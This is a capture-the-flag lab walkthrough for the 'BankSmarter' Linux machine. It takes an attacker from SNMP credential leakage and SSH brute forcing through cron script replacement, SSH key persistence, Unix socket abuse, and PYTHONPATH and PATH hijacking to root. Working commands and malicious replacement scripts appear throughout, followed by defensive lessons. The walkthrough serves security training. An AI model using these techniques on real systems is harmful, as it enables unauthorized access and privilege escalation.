Zerotrace Logs

BankSmarter

Overview

As a senior operator on the Hack Smarter Red Team, the objective is to perform a penetration test against a standalone Linux server. The goal is to gain initial access, escalate privileges to root, and retrieve the final flag from /root/.

Reconnaissance

[Step 1] TCP Port Scan

Starting with a comprehensive TCP port scan to identify open services:

$ nmap -p- -T4 -sC -sV 10.1.54.58 -o nmap_scan

Only SSH was found open:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14

[Step 2] UDP Port Scan

Since TCP revealed minimal attack surface, I ran a UDP scan to discover additional services:

$ sudo nmap --top-ports 1000 -sU -T4 10.1.54.58 -o nmap_scan_udp
PORT    STATE SERVICE
161/udp open  snmp
What is SNMP?
Simple Network Management Protocol (SNMP) is used for monitoring and managing network devices. When configured with weak community strings (like "public"), it can leak sensitive system information including usernames, processes, and configuration details. SNMP is often overlooked during security assessments but can be a goldmine for attackers.

Initial Access

[Step 3] SNMP Enumeration

I used snmpwalk to query the SNMP service with the default community string:

$ snmpwalk -v 2c -c public 10.1.54.58

Key finding in the contact information:

iso.3.6.1.2.1.1.4.0 = STRING: "Admin Layne.Stanley:[REDACTED]'"

Credentials leaked via SNMP: Layne.Stanley:[REDACTED]

Lesson: SNMP with default community strings is a common misconfiguration. Always enumerate UDP services, especially SNMP (161), TFTP (69), and DNS (53).

[Step 4] Username Enumeration

I generated username permutations using username-anarchy to find the valid SSH username format:

$ ./username-anarchy --input-file names.txt --select-format first,flast,first.last,firstl,last > users.list

$ cat users.list
layne
layne.stanley
laynes
lstanley
stanley

[Step 5] SSH Brute Force

Using Hydra to validate the discovered credentials against the username list:

$ hydra -L users.list -p '[REDACTED]' ssh://10.1.54.58

Hydra confirms valid credentials for layne.stanley

[Step 6] SSH Access

Successfully authenticated as layne.stanley:

$ ssh [email protected]
layne.stanley@ip-10-1-54-58:~$

Privilege Escalation: layne.stanley to scott.weiland

[Step 7] Process Monitoring

I noticed a script in the home directory owned by another user:

$ ls -la
-rwxr-x--- 1 scott.weiland layne.stanley  127 Sep 12 12:45 bankSmarter_backup.sh

I transferred pspy64 to monitor running processes:

$ ./pspy64

pspy showing scheduled script execution

The script runs periodically as UID=1002 (scott.weiland):

$ getent passwd 1002
scott.weiland:x:1002:1002::/home/scott.weiland:/bin/bash

[Step 8] Script Replacement Attack

The script is owned by scott.weiland, but I have write access to the directory. This means I can rename the original script and create a malicious replacement:

$ mv bankSmarter_backup.sh bankSmarter_backup1.sh
$ cat > bankSmarter_backup.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/.bash_scott
chmod 4755 /tmp/.bash_scott
EOF
$ chmod +x bankSmarter_backup.sh

After the cron job executes, I can leverage the SUID bash copy:

$ /tmp/.bash_scott -p
.bash_scott-5.2$ whoami
scott.weiland

For persistence, I added my SSH key to scott.weiland's authorized_keys:

$ mkdir -p /home/scott.weiland/.ssh
$ echo 'ssh-ed25519 AAAA...' >> /home/scott.weiland/.ssh/authorized_keys
$ chmod 700 /home/scott.weiland/.ssh
$ chmod 600 /home/scott.weiland/.ssh/authorized_keys
Key Insight: Even if you cannot write to a file, having write access to the parent directory enables file replacement attacks. This is why directory permissions are just as critical as file permissions.

Privilege Escalation: scott.weiland to ronnie.stone

[Step 9] Unix Socket Discovery

Continuing process monitoring, I found another service running:

CMD: UID=1003 PID=530 | /usr/bin/python3 /opt/bank/pty_server.py

Enumerating /opt/bank revealed:

What is a Unix Socket?
Unix domain sockets allow inter-process communication on the same machine. They appear as files in the filesystem and can be protected using standard file permissions. If permissions are misconfigured, unauthorized users can connect to privileged services running behind these sockets.

[Step 10] Socket Exploitation

Using socat to connect to the exposed Unix socket:

$ socat - UNIX-CONNECT:/opt/bank/sockets/live.sock

Successful shell as ronnie.stone via Unix socket

Privilege Escalation: ronnie.stone to root

[Step 11] SUID Binary Discovery

Searching for SUID binaries revealed a custom binary:

$ find / -perm -4000 -type f 2>/dev/null
/usr/local/bin/bank_backupd
$ ls -la /usr/local/bin/bank_backupd
-rwsr-x--- 1 root bankers 16192 Sep 12 13:23 /usr/local/bin/bank_backupd

The binary has SUID bit set and is owned by root. Running it shows:

$ /usr/local/bin/bank_backupd
[bank_backupd] Starting backup for BankSmarter accounts...
[bank_backup.py] Running internal Python verification...
[bank_backup.py] Hashing account transactions...
[REDACTED]
[bank_backup.py] Backup completed successfully.

[Step 12] Python Script Analysis

The binary calls a Python script that imports hashlib:

#!/usr/bin/env python3
import hashlib, time, os
print("[bank_backup.py] Running internal Python verification...")
print(hashlib.sha256(b"transaction data").hexdigest())
What is PYTHONPATH Hijacking?
Python searches for modules in directories specified by PYTHONPATH before standard locations. If an attacker can control PYTHONPATH and the SUID binary preserves environment variables, they can create a malicious module that gets loaded instead of the legitimate one, leading to code execution with elevated privileges.

[Step 13] PYTHONPATH Exploitation

Created a malicious hashlib.py module:

$ cd /tmp
$ cat > hashlib.py << 'EOF'
#!/usr/bin/env python3
import os
os.setuid(0)
os.setgid(0)
os.system("/bin/bash -p")
EOF

Set PYTHONPATH and execute the SUID binary:

$ export PYTHONPATH=/tmp
$ /usr/local/bin/bank_backupd

Successful root shell via PYTHONPATH hijacking

Root Flag

# cat /root/root.txt
FLAG{...}

Alternative Method: PATH Hijacking

The Python script uses a shebang that relies on the PATH environment variable:

#!/usr/bin/env python3

This means it uses whatever python3 is first in PATH. Alternative exploitation:

$ echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/python3
$ chmod +x /tmp/python3
$ export PATH=/tmp:$PATH
$ /usr/local/bin/bank_backupd
# whoami
root

Tools Used

Attack Chain Summary

  1. SNMP Leak: Discovered credentials in SNMP contact field
  2. SSH Access: Logged in as layne.stanley
  3. Cron Hijack: Replaced scheduled script to get scott.weiland shell
  4. Socket Abuse: Connected to privileged Unix socket for ronnie.stone
  5. PYTHONPATH: Hijacked Python imports via SUID binary for root

Lessons Learned

  1. Secure SNMP: Change default community strings and restrict access. Never store sensitive information in SNMP fields.
  2. Directory permissions matter: Even if you cannot write to a file, directory write access enables replacement attacks.
  3. Audit scheduled tasks: Cron jobs with user-writable scripts are dangerous. Monitor and restrict what users can modify.
  4. Unix sockets need ACLs: Group membership can enable unauthorized access. Apply principle of least privilege to socket permissions.
  5. Environment inheritance: SUID binaries should sanitize PYTHONPATH and PATH. Use absolute paths in shebangs when security is critical.

Walkthrough by Zerotrace | HackSmarter Labs